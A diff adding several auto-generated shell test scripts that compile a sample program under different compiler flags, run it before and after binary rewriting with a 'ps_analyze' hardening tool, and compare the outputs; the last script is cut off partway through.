+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ac73209fdf4cdd3fc7aff99139b927b1dd122f48
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ddd81272912b0b23002666574d9b99b619c869b3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e1256f7755dcaccf5017b4a3a409b590b91fc411
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0c9fdf2725c87b37aa9111acdeb7987b96aee96d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a47e499c5221d9b9d64afd18be3b49a4a9e9c05f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..52b7c0f8ea9f0fa5bed881bf2c205b70bedc3ca8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
